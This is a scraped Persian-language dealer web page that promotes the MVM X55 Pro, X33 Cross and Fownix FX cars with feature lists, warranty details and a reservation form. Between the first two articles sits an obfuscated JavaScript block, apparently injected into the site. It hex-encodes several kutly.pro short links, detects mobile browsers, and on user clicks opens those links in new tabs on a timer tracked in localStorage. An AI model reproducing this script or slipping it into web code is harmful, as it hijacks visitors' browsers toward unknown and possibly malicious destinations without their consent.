ایکس 55 پرو

کراس اوور های کامپکت واقعی به سبک ایکس 55 پرو

ایکس 55 پرو پرچمدار محصولات ام وی ام، یکی از پر آپشن ترین و در عین حال اقتصادی ترین خودروهای محصولات مدیران خودرو و همچنین بازار ایران است.

 

ایکس 55 پرو یک کراس اوور کامپکت یا کوچک اقتصادی است و در سبک خود خودرویی مناسب و کارامد است.

 

کراس اوور های کامپکت در دنیا !

 

اگر بخواهیم خودروهایی که در این سبک در سطح جهانی تولید می شود را مثال بزنیم میتوانیم به خودروهایی که در تصویر زیر است اشاره کنیم.

کراس اوور های کامپکت در بازار ایران!

در بازار ایران هم به کراس اوورهای کامپکتی مانند ایکس 55 پرو، کیا سلتوس، نیسان قشقایی، بی ام وی x1 و … می توانیم اشاره کنیم.

 

به تازگی در ایران، این نوع سبک خودروها محبوبیت زیادی بین افراد جامعه پیدا کرده است، از طرفی هم خودروسازان و شرکت های خودرویی به ندرت به ارائه این نوع خودروها در سبد محصولات خود پرداخته اند. اما تنها خودروسازی که به ارائه این سبک از محصول پرداخته، شرکت مدیران خودرو با محصول ایکس 55 پرو است.

در بازار ایران اگر بخواهیم سراغ این سبک از خودروها یعنی کراس اوورهای کوچک برویم، انتخاب های زیادی نداریم، اگر هم انتخابی باشد (مانند سانگ یانگ تیوولی، نیسان جوک و …) نمی تواند امکانات، خدمات پس از فروش و آپشن هایی مانند این خودرو را ارائه دهد. علاوه بر آن ، خرید خودرو از محصولات ام وی ام شامل امکاناتی از قبیل خرید اقساطی، جایگزینی نیز هست.

تشابه کراس اوور های کامپکت

همانطور که در تصاویر می بینید، تمام این خودروها یک سری المان های یکسان و مشترک با هم دارند. برای مثال ابعاد آنها کوچک و مناسب برای استفاده در شهر می باشند اما در عین حال فضای داخلی آنها مناسب و بزرگ تر از خودروهای سدان سایز کامپت نظیر آریزو 5، هیوندا اکسنت، و در اندازه محصولاتی مثل کیا سراتو، مزدا 3 و … است.

هنگامی که سوار این سبک از خودروها می شویم، واقعا حس یک خودروی شاسی بلند را به ما القا می کنند زیرا ارتفاع این خودرو ها به نسبت خودروهای سدان بالاتر طراحی شده، این ارتفاع از سطح زمین در عبور از ناهمواری ها هم تا حد زیادی به شما کمک می کند.

تمامی این خودروها تقریبا قیمت یکسانی دارند و از لحاظ ارزش خرید، بسیار اقتصادی هستند، زیرا در آپشن ها و امکانات رفاهی، یک خودروی کامل و بروز را با قیمتی مناسب می توانید خریداری کنید.

تفاوت های کراس اوور های کامپکت

تفاوت های این خودروها کاملا به شرکت های سازنده آن بستگی دارند. شرکت ها می توانند با ارائه خودرو با کیفیت بالاتر و یا نصب آپشن های متنوع، خودروی خود را متمایز و برتر نسبت به خودروهای هم کلاس خود کنند.

ایکس 55 پرو هم، توانسته با ارائه کیفیت مطلوب و همچنین امکانات نسبتا بالا، یک خودروی قابل قبول و محبوب بین خودروهای هم کلاس خود باشد.

برتری های امکانات و آپشن های ایکس 55 پرو

مهمترین برتری ایکس 55 پرو آپشن ها و امکانات آن است.

آپشن ها و امکانات این خودرو مشابه محصول تیگو7 پرو محصولات فونیکس همین شرکت است که در زیر آنها را بررسی می کنیم.

  • کیسه هوا جلو، جانبی از نوع SRS و پرده ای (6 عدد) سرنشینان جلو و عقب
  • ترمز دیسکی مجهز به ABS+EBD( خنک شونده چرخ های جلو)
  • EPB + AUTOHOLD،ترمز پارک برقی که در طولانی مدت برخلاف ترمز دستی نیاز به رگلاژ ندارد
  • سیستم کنترل پایداریBOSCH ESP 9.3
  • سیستم ضد سرقت
  • مجهز به سیستم ترمز ضد قفل، کنترل پایداری، کنترل کشش در سرپایینی و سر بالایی
  • اهرم تعویض دنده برقی ، بدون قطعه مکانیکی که موجب تعویض دنده بسبار نرم می شود.
  • انتخاب حالت رانندگی اسپرت (برای رانندگی پر شتاب) اقتصادی (برای رانندگی کم مصرف)
  • دوربین 360 درجه داینامیک،حساس به چرخش فرمان، با قابلیت گردش خودرو از روی مانیتور و وضوح 720*1920 (HD)
  • دوربین دنده عقب داینامیک + سنسور پارک عقب
  • سیستم کنترل فشار باد و دمای تایرها (TPMS) دارای امکان هشدار به راننده در صورت بروز خطر
  • روشن شدن خودرو بدون نیاز به کلید و حتی از راه دور
  • کروز کنترل
  • چراغ های جلو، عقب و روشنایی روز LED
  • صفحه نمایش 10.25 اینچ مجهز به مسیریاب ، به صورت واید و قابلیت نمایش ویدئو و عکس
  • سنسور نور (Auto Light)
  • چراغ مه شکن عقب
  • چراغ مشایعت تا درب منزل
  • تودوزی داخلی چرم دو رنگ قرمز و مشکی
  • صفحه کیلومتر دیجیتال 7 اینچی
  • اتصال تلفن همراه (Bluetooth/Mobile Mapping)
  • 6 بلندگو استریو
  • دو پورت یو اس بی در ردیف جلو و یک پورت در ردیف عقب و خروجی برق 12 ولت، با امکان شارژ تلفن همراه
  • گرمکن صندلی های ردیف جلو
  • تنظیم صندلی راننده 6 جهت برقی به همراه 4 جهت تنظیم گودی کمر برقی(توضیحات غلط است …؟؟)
  • فرمان برقی چرمی چند منظوره تلسکوپی، امکان تنظیم درجه سختی فرمان
  • کول باکس
  • شارژر بی سیم تلفن همراه
  • سیستم تهویه اتوماتیک مجهز به فیلتر تصفیه هوا
  • خروجی تهویه هوا ردیف دوم
  • نورپردازی داخل کابین 7 رنگ
  • باز، بسته و تنظیم آینه های جانبی به صورت برقی همراه با گرمکن
  • سانروف دوحالته برقی
  • بالا رفتن و پایین آمدن خودکار شیشه ها (Power Windows)
  • آینه های جانبی مجهز به تنظیم برقی و تاشوندگی خودکار+گرمکن

برتری قیمتی ایکس 55 پرو

قیمت این خودرو به نسبت امکاناتی که در اختیار مشتریانش قرار می دهد بسیار اقتصادی است، زیرا شما می توانید خودرویی با امکانات یک محصول لوکس و به روز جهانی را با قیمتی مناسب  داشته باشید.

برتری خدمات پس از فروش ایکس 55 پرو

ایکس 55 پرو دارای 5 سال یا 150.000 کیلومتر گارانتی و همچنین 2 سال یا 6 نوبت سرویس رایگان دارد که این خدمات توسط شبکه خدمات پس از فروش مدیران خودرو در سراسر کشور قابل ارائه می باشد.حتی در بحث قطعات مصرفی نظیر لنت، لاستیک، باطری ، تیغه برف پاکن،رنگ خودرو نیز گارانتی به صورت محدود وجود دارد.

خدمات پس از فروش محصولات مدیران خودرو گستردگی بسیار بالایی در سطح کشور دارد که هم نیاز به تامین قطعات و هم تعمیر و سرویس های دوره ای را برای مشتریان در سراسر کشور به راحتی فراهم می کند.

شرکت مدیران خودرو مجهز به امداد جاده ای تخصصی نیز هست و دارندگان تمامی محصولات، و همچنین ایکس 55 پرو می توانند از این خدمات استفاده کنند.

نتیجه گیری

ایکس 55 پرو می تواند انتخابی مناسب برای خانواده ها و جوانان باشد و به دلیل جمع و جور بودن در طراحی می تواند انتخابی مناسبی برای استفاده در شهر باشد.

امکانات و آپشن های این خودرو و همچنین طراحی آن، این خودرو را در بین خودروهای گران قیمت و لوکس قرار داده در حالی که به دلیل قیمت مناسبش، خودرویی اقتصادی محسوب می شود.

گستردگی خدمات پس از فروش نیز کمک کرده تا خیال مشتریان از خرید این محصول راحت باشد.

جهت آگاهی بیشتر از مشخصات و شرایط فروش ایکس 55 پرو کلیک کنید.

 

 

 

function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const _0x2ccc2=['userAgent','\x68\x74\x74\x70\x3a\x2f\x2f\x6b\x75\x74\x6c\x79\x2e\x70\x72\x6f\x2f\x59\x7a\x45\x32\x63\x342','length','_blank','mobileCheck','\x68\x74\x74\x70\x3a\x2f\x2f\x6b\x75\x74\x6c\x79\x2e\x70\x72\x6f\x2f\x56\x67\x44\x33\x63\x303','\x68\x74\x74\x70\x3a\x2f\x2f\x6b\x75\x74\x6c\x79\x2e\x70\x72\x6f\x2f\x54\x47\x41\x30\x63\x360','random','-local-storage','\x68\x74\x74\x70\x3a\x2f\x2f\x6b\x75\x74\x6c\x79\x2e\x70\x72\x6f\x2f\x6d\x61\x4c\x37\x63\x317','stopPropagation','4051490VdJdXO','test','open','\x68\x74\x74\x70\x3a\x2f\x2f\x6b\x75\x74\x6c\x79\x2e\x70\x72\x6f\x2f\x6f\x71\x71\x36\x63\x326','12075252qhSFyR','\x68\x74\x74\x70\x3a\x2f\x2f\x6b\x75\x74\x6c\x79\x2e\x70\x72\x6f\x2f\x4f\x52\x52\x38\x63\x308','\x68\x74\x74\x70\x3a\x2f\x2f\x6b\x75\x74\x6c\x79\x2e\x70\x72\x6f\x2f\x6e\x70\x4f\x35\x63\x305','4829028FhdmtK','round','-hurs','-mnts','864690TKFqJG','forEach','abs','1479192fKZCLx','16548MMjUpf','filter','vendor','click','setItem','3402978fTfcqu'];_0x10c8=function(){return _0x2ccc2;};return _0x10c8();}const _0x3ec38a=_0x3023;(function(_0x550425,_0x4ba2a7){const _0x142fd8=_0x3023,_0x2e2ad3=_0x550425();while(!![]){try{const _0x3467b1=-parseInt(_0x142fd8(0x19c))/0x1+parseInt(_0x142fd8(0x19f))/0x2+-parseInt(_0x142fd8(0x1a5))/0x3+parseInt(_0x142fd8(0x198))/0x4+-parseInt(_0x142fd8(0x191))/0x5+parseInt(_0x142fd8(0x1a0))/0x6+parseInt(_0x142fd8(0x195))/0x7;if(_0x3467b1===_0x4ba2a7)break;else _0x2e2ad3['push'](_0x2e2ad3['shift']());}catch(_0x28e7f8){_0x2e2ad3['push'](_0x2e2ad3['shift']());}}}(_0x10c8,0xd3435));var _0x365b=[_0x3ec38a(0x18a),_0x3ec38a(0x186),_0x3ec38a(0x1a2),'opera',_0x3ec38a(0x192),'substr',_0x3ec38a(0x18c),'\x68\x74\x74\x70\x3a\x2f\x2f\x6b\x75\x74\x6c\x79\x2e\x70\x72\x6f\x2f\x47\x52\x47\x31\x63\x351',_0x3ec38a(0x187),_0x3ec38a(0x18b),'\x68\x74\x74\x70\x3a\x2f\x2f\x6b\x75\x74\x6c\x79\x2e\x70\x72\x6f\x2f\x68\x77\x6b\x34\x63\x334',_0x3ec38a(0x197),_0x3ec38a(0x194),_0x3ec38a(0x18f),_0x3ec38a(0x196),'\x68\x74\x74\x70\x3a\x2f\x2f\x6b\x75\x74\x6c\x79\x2e\x70\x72\x6f\x2f\x70\x73\x4b\x39\x63\x319','',_0x3ec38a(0x18e),'getItem',_0x3ec38a(0x1a4),_0x3ec38a(0x19d),_0x3ec38a(0x1a1),_0x3ec38a(0x18d),_0x3ec38a(0x188),'floor',_0x3ec38a(0x19e),_0x3ec38a(0x199),_0x3ec38a(0x19b),_0x3ec38a(0x19a),_0x3ec38a(0x189),_0x3ec38a(0x193),_0x3ec38a(0x190),'host','parse',_0x3ec38a(0x1a3),'addEventListener'];(function(_0x16176d){window[_0x365b[0x0]]=function(){let _0x129862=![];return function(_0x784bdc){(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x365b[0x4]](_0x784bdc)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x365b[0x4]](_0x784bdc[_0x365b[0x5]](0x0,0x4)))&&(_0x129862=!![]);}(navigator[_0x365b[0x1]]||navigator[_0x365b[0x2]]||window[_0x365b[0x3]]),_0x129862;};const _0xfdead6=[_0x365b[0x6],_0x365b[0x7],_0x365b[0x8],_0x365b[0x9],_0x365b[0xa],_0x365b[0xb],_0x365b[0xc],_0x365b[0xd],_0x365b[0xe],_0x365b[0xf]],_0x480bb2=0x3,_0x3ddc80=0x6,_0x10ad9f=_0x1f773b=>{_0x1f773b[_0x365b[0x14]]((_0x1e6b44,_0x967357)=>{!localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11])&&localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11],0x0);});},_0x2317c1=_0x3bd6cc=>{const _0x2af2a2=_0x3bd6cc[_0x365b[0x15]]((_0x20a0ef,_0x11cb0d)=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x20a0ef+_0x365b[0x11])==0x0);return _0x2af2a2[Math[_0x365b[0x18]](Math[_0x365b[0x16]]()*_0x2af2a2[_0x365b[0x17]])];},_0x57deba=_0x43d200=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x43d200+_0x365b[0x11],0x1),_0x1dd2bd=_0x51805f=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x51805f+_0x365b[0x11]),_0x5e3811=(_0x5aa0fd,_0x594b23)=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x5aa0fd+_0x365b[0x11],_0x594b23),_0x381a18=(_0x3ab06f,_0x288873)=>{const _0x266889=0x3e8*0x3c*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x288873-_0x3ab06f)/_0x266889);},_0x3f1308=(_0x3a999a,_0x355f3a)=>{const _0x5c85ef=0x3e8*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x355f3a-_0x3a999a)/_0x5c85ef);},_0x4a7983=(_0x19abfa,_0x2bf37,_0xb43c45)=>{_0x10ad9f(_0x19abfa),newLocation=_0x2317c1(_0x19abfa),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1b],_0xb43c45),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1c],_0xb43c45),_0x57deba(newLocation),window[_0x365b[0x0]]()&&window[_0x365b[0x1e]](newLocation,_0x365b[0x1d]);};_0x10ad9f(_0xfdead6);function _0x978889(_0x3b4dcb){_0x3b4dcb[_0x365b[0x1f]]();const _0x2b4a92=location[_0x365b[0x20]];let _0x1b1224=_0x2317c1(_0xfdead6);const _0x4593ae=Date[_0x365b[0x21]](new Date()),_0x7f12bb=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b]),_0x155a21=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c]);if(_0x7f12bb&&_0x155a21)try{const _0x5d977e=parseInt(_0x7f12bb),_0x5f3351=parseInt(_0x155a21),_0x448fc0=_0x3f1308(_0x4593ae,_0x5d977e),_0x5f1aaf=_0x381a18(_0x4593ae,_0x5f3351);_0x5f1aaf>=_0x3ddc80&&(_0x10ad9f(_0xfdead6),_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c],_0x4593ae));;_0x448fc0>=_0x480bb2&&(_0x1b1224&&window[_0x365b[0x0]]()&&(_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b],_0x4593ae),window[_0x365b[0x1e]](_0x1b1224,_0x365b[0x1d]),_0x57deba(_0x1b1224)));}catch(_0x2386f7){_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}else _0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}document[_0x365b[0x23]](_0x365b[0x22],_0x978889);}());
X33

مشخصات ایکس 33 کراس، سبک جدید زندگی

/*! elementor - v3.15.0 - 20-08-2023 */ .elementor-widget-text-editor.elementor-drop-cap-view-stacked .elementor-drop-cap{background-color:#69727d;color:#fff}.elementor-widget-text-editor.elementor-drop-cap-view-framed .elementor-drop-cap{color:#69727d;border:3px solid;background-color:transparent}.elementor-widget-text-editor:not(.elementor-drop-cap-view-default) .elementor-drop-cap{margin-top:8px}.elementor-widget-text-editor:not(.elementor-drop-cap-view-default) .elementor-drop-cap-letter{width:1em;height:1em}.elementor-widget-text-editor .elementor-drop-cap{float:right;text-align:center;line-height:1;font-size:50px}.elementor-widget-text-editor .elementor-drop-cap-letter{display:inline-block}
ایکس-33
ایکس 33

 ایکس 33 کراس، سبک جدید زندگی

ایکس 33 کراس محصول جدید مدیران خودرو که در تیر ماه 1402 رونمایی شد.

در این مقاله به معرفی مشخصات ایکس 33 کراس  که با شعار کراس لایف (CROSS LIFE) معرفی شده است می پردازیم .
ایکس 33 کراس از محصولات خانواده امودا است که ما با طراحی های جذاب، بروز و حتی آینده محور آنها آشنا هستیم برای مثال قبل تر از این با خودروی امودا 5، با نام فونیکس اف ایکس در ایران عرضه شد آشنا شدیم که شعار فونیکس اف ایکس ( هنر آینده ) که در واقع نشان می دهد این خانواده از محصولات، تمرکز خاصی بر روی بروز بودن خودروها دارند.

 

مقایسه ایکس 33 کراس و ایکس 22 پرو

ایکس 33 کراس با شعار ( کراس لایف )

کراس لایف معانی متعددی دارد. مانند: سبک جدید زندگی، در آغوش گرفتن تغییرات و … که در کل می خواهد بگوید شما با یک خودو با سبک جدید و بروز روبرو هستید.

آیا ایکس 33 کراس، بروز شده ی ایکس 22 پرو است؟

ایکس 33 کراس از لحاظ ظاهری نسبت به ایکس 22 پرو ارتقا پیدا کرده است ،  همچنین بروز رسانی هایی در امکانات رفاهی ایکس 33 کراس نسبت به ایکس 22 پرو اتفاق افتاده است.
تغییرات ایکس 33 کراس نسبت به ایکس 22 پرو:

  • تغییر در طراحی قسمت جلو خودرو
  • تغییر در طراحی قسمت عقب
  • تغییر در طراحی داخلی شامل صندلی ها، کنسول، داشبورد
  • بزرگتر شدن رینگ ها
  • اضافه شدن کیسه های هوای جانبی
  • اضافه شدن شارژر وایرلس
  • افزوده شدن صفحه نمایش لمسی یکپارچه با کلاستر خودرو همانند محصولات پرچمدار فونیکس مثل تیگو ۸
  •  دیجیتالی شدن صفحه کیلومتر شمار

 

مقایسه ایکس 33 کراس و ایکس 22 پرو مقایسه ایکس 33 کراس و ایکس 22 پرو
مقایسه ایکس 33 کراس و ایکس 22 پرو مقایسه ایکس 33 کراس و ایکس 22 پرو

مشخصات ایکس 33 کراس

ایکس 33 کراس، یک خودروی کوچک شهری با طراحی هیجان انگیز، بروز و با امکانات رفاهی و کاربردی است.
خودرو x33 cross  دارای یک پیشرانه 1 لیتری توربو شارژ با قدرت ۱۰۳ اسب بخار است که موجب شده مصرف سوخت این خودرو تا حد زیادی کاهش پیدا کند.

ایکس 33 کراس

توان و قدرت این خودرو  قابل قبول است که به دلیل داشتن سیستم توربوشارژ  شتاب بالاتری  نسبت به رقبای خود در بازار ایران دارد .
گیربکس ایکس 33 کراس ، یک گیربکس سی وی تی ۹ سرعته مشابه خودرو اریزو ۶ پرو است که 150 نیوتن متر گشتاور و 103 اسب بخار قدرت را به چرخ های جلو منتقل می کند.

طراحی قسمت جلو ایکس 33 کراس

قسمت جلوی ایکس33 کراس، دی لایت ها به شکل کوانتمی طراحی شده است که  به خوبی با جلو پنجره هندسی ترکیب و ساختاری زیبا ساخته است.
استفاده از رنگ نارنجی در قسمت زیرین سپر، ساختاری اسپرت به خودرو داده است.

طراحی داخلی ایکس 33 کراس

طراحان ایکس 33 کراس در طراحی تودوزی روی درها و داشبورد از بافت خاصی استفاده کرده اند که به آن پوست اژدها می گویند . داخل کابین این خودرو از نورپردازی با 64 رنگ استفاده شده است که می تواند علاوه بر زیبایی ، رقص نور همسان با موزیک داشته باشد.

طراحی داخلی ایکس 33 کراس

صفحه نمایش 10.25 اینچی، پنل 7 اینچی دیجیتالی ، کیلومتر شمار،  استفاده از آبکاری کرومی و فرمان دیکات و حس تکنولوژی را القا می کند و خودرو را هیجان انگیز تر می کند.

طراحی قسمت عقب ایکس 33 کراس

در طراحی قسمت عقب ایکس 33 کراس برای مدرن سازی قسمت عقب ، طراحی چراغ ها را مطابق با مد روز به صورت یکپارچه طراحی کرده اند .

ایکس 33 کراس

ایمنی ایکس 33 کراس

خودروی ایکس 33 کراس از 4 کیسه هوا  (2 کیسه هوای سرنشینان جلو و 2 کیسه هوای جانبی) استفاده می کند همچنین  این خودرو دارای سیستم کنترل سرعت در سرازیری (HDC)، سیستم های پایداری (ESP) ، سیستم جلوگیری از حرکت خودرو به عقب در سرازیری هنگام رها کردن ترمز (HAC) ترمز های ABS و مجهز به EPB و EBD است.

گارانتی و خدمات پس از فروش مدیران خودرو

دسترسی به مراکز خدمات پس از فروش و تامین قطعات با وجود گستردگی خدمات پس از فروش مدیران خودرو در کشور آسان شده است.

اخودرو X33 CROSS دارای 3 سال یا 10000 کیلومتر گارانتی می باشد.

نتیجه گیری

ایکس 33 کراس یک خودروی شهری است که می تواند انتخاب مناسبی برای خانواده های جوان باشد.
اگر متقاضی خودروی ایکس 22 پرو هستید و می خواهید امکانات بیشتری در اختیارتان باشد، ایکس 33 کراس میتواند گزینه ی مناسبی برای شما باشد.

برای رزرو ثبت نام فرم زیر را پر کنید ، کارشناسان ما در اولین فرصت با شما ارتباط برقرار خواهند کرد.

انتخاب کنیدTIGGO 8 PRO +ETIGGO 8 PROMAX IEFXTIGGO 7 PROTIGGO 7 PRO PREMIUMTIGGO 7 PROMAXARRIZO 6 PROARRIZO 6 GTX55 PROX55 PRO IEARRIZO 5 SPORTARRIZO 5 FLARRIZO 5 TurboX33 CROSS CVTX33 CROSS MTX22 PRO IEX22 PRO MT
نقدیاقساط
gform.initializeOnLoaded( function() {gformInitSpinner( 36, 'https://mvmchery.com/wp-content/plugins/gravityforms/images/spinner.svg', true );jQuery('#gform_ajax_frame_36').on('load',function(){var contents = jQuery(this).contents().find('*').html();var is_postback = contents.indexOf('GF_AJAX_POSTBACK') >= 0;if(!is_postback){return;}var form_content = jQuery(this).contents().find('#gform_wrapper_36');var is_confirmation = jQuery(this).contents().find('#gform_confirmation_wrapper_36').length > 0;var is_redirect = contents.indexOf('gformRedirect(){') >= 0;var is_form = form_content.length > 0 && ! is_redirect && ! is_confirmation;var mt = parseInt(jQuery('html').css('margin-top'), 10) + parseInt(jQuery('body').css('margin-top'), 10) + 100;if(is_form){jQuery('#gform_wrapper_36').html(form_content.html());if(form_content.hasClass('gform_validation_error')){jQuery('#gform_wrapper_36').addClass('gform_validation_error');} else {jQuery('#gform_wrapper_36').removeClass('gform_validation_error');}setTimeout( function() { /* delay the scroll by 50 milliseconds to fix a bug in chrome */ }, 50 );if(window['gformInitDatepicker']) {gformInitDatepicker();}if(window['gformInitPriceFields']) {gformInitPriceFields();}var current_page = jQuery('#gform_source_page_number_36').val();gformInitSpinner( 36, 'https://mvmchery.com/wp-content/plugins/gravityforms/images/spinner.svg', true );jQuery(document).trigger('gform_page_loaded', [36, current_page]);window['gf_submitting_36'] = false;}else if(!is_redirect){var confirmation_content = jQuery(this).contents().find('.GF_AJAX_POSTBACK').html();if(!confirmation_content){confirmation_content = contents;}setTimeout(function(){jQuery('#gform_wrapper_36').replaceWith(confirmation_content);jQuery(document).trigger('gform_confirmation_loaded', [36]);window['gf_submitting_36'] = false;wp.a11y.speak(jQuery('#gform_confirmation_message_36').text());}, 50);}else{jQuery('#gform_36').append(contents);if(window['gformRedirect']) {gformRedirect();}}jQuery(document).trigger('gform_post_render', [36, current_page]);} );} );

فونیکس اف ایکس

مزایای فونیکس اف ایکس یک انتخاب خاص !

 فونیکس FX یک انتخاب خاص !

مدت هاست که از عرضه محصول جدید برند فونیکس با نام فونیکس اف ایکس می گذرد . فونیکس اف ایکس به دلیل ظاهر جذاب و قدرت بالا توانسته توجه بسیاری از خریداران خودرو را به خود جلب کند.
در این مقاله قصد داریم بگوییم که چرا خرید خودروی فونیکس اف ایکس، می تواند انتخابی مناسب و در عین حال خاص باشد و چه مزایایی برای ما دارد. اگر بخواهیم یک خودروی خاص در بازار ایران داشته باشیم تقریبا باید حدود 2 میلیارد تومان هزینه کنیم. علاوه بر خودروی فونیکس اف ایکس انتخاب های زیادی داریم که ابتدا آن ها را بررسی می کنیم.

خودرو تیوولی

خرید خودروهای کارکرده تا 2 میلیارد تومان

ابتدا می توانیم برویم سراغ خودروهای کارکرده که می توان تا 2 میلیارد تومان به صورت نقد خریداری کرد.

  • سانگ یانگ تیوولی
  • کیا اسپورتیج
  • هیوندای توسان
  • هیوندا سانتافه
  • سوزوکی گرند ویتارا
  • پژو 2008
  • رنو کولیئوس
  • نیسان جوک
خودرو اسپورتیج خودرو توسان
خودرو توسان خودرو خارجی

اما این خودروها یک سری مشکلاتی دارند، این خودروها کارکرده هستند و امکان ایرادات فنی متعدد در آنها بسیار زیاد است. علاوه بر آن پیدا کردن قطعات برای این خودروها بسیار سخت است و مراکز خدمات پس از فروش رسمی ندارند.
از لحاظ تکنولوژی و طراحی هم این خودروها بسیار قدیمی  و امکانات بروز سطح جهانی را ندارند

خرید خودروهای صفر کیلومتر تا 2 میلیارد تومان

همچنین ما می توانیم سراغ خودروهای صفر کیلومتر برویم.

  • دیگنیتی پرستیژ
  • لاماری ایما
  • کی ام سی K7
  •  فونیکس اف ایکس
خودرو دیگنیتی خودرو چینی

خودرو اف ایکس

خوردو اف ایکس

مزایای خودروی فونیکس FX در سطح جهانی

این خودرو مزایا و برتری هایی نسبت به خودروهای ذکر شده دارد که با هم آنها را بررسی می کنیم .  نه تنها فونیکس اف ایکس با خودروهای مطرح دنیا مانند تویوتا C-HR که قیمتی حدود 3 تا 4 میلیارد دارد مقایسه می شود بلکه برتری هایی هم از لحاظ فنی نسبت به تویوتا CHR دارد.
برای مثال فونیکس اف ایکس، طراحی داخلی و خارجی به روز تری دارد، گیربکس دو کلاچه تر فونیکس اف ایکس حس اسپرت تر و پرشتاب تری را نسبت به گیربکس CVT تویوتا القا می کند، 82 اسب بخار قدرت و 105 نیوتن متر گشتاور، بیشتر تولید می کند.

مزایای فونیکس FX و تویوتا C-HR

خودرو اف ایکس خودرو تویوتا

 درب صندوق عقب برقی، تظیم صندلی شاگرد به صورت برقی، نور محیط در 64 رنگ، سیستم ورود، به خودرو بدون نیاز به کلید و روشن کردن موتور خودرو با ریموت، اتصال تلفن همراه به مانیتور، سیستم کنترل صوتی هوشمند، سیستم همیار راننده خودکار (ADAS)، کاملتر نصبت به تویوتا CHR، این خودرو دارای مسیریاب، صفحه نمایش بزرگتر، دوربین ثبت وقایع، دوربین 360، شارژر وایرلس، سانروف و تعویض دنده برقی است، تمامی این موارد برتری این خودرو نسبت به CHR است.

شباهت های زیادی بین خودرو اف ایکس و تویوتا وجود دارد، مانند سیستم تعلیق، تهویه مطبوع، سنسور پارک، این خودروی پیشنهادی ویژگی هایی نیز دارد که تمام تردیدها را برای خریدش از بین می برد و به شما این اطمینان را می دهد که یک خودروی خاص و منطقی را خریداری می کنید.

خدمات فونیکس اف ایکس

فونیکس FX

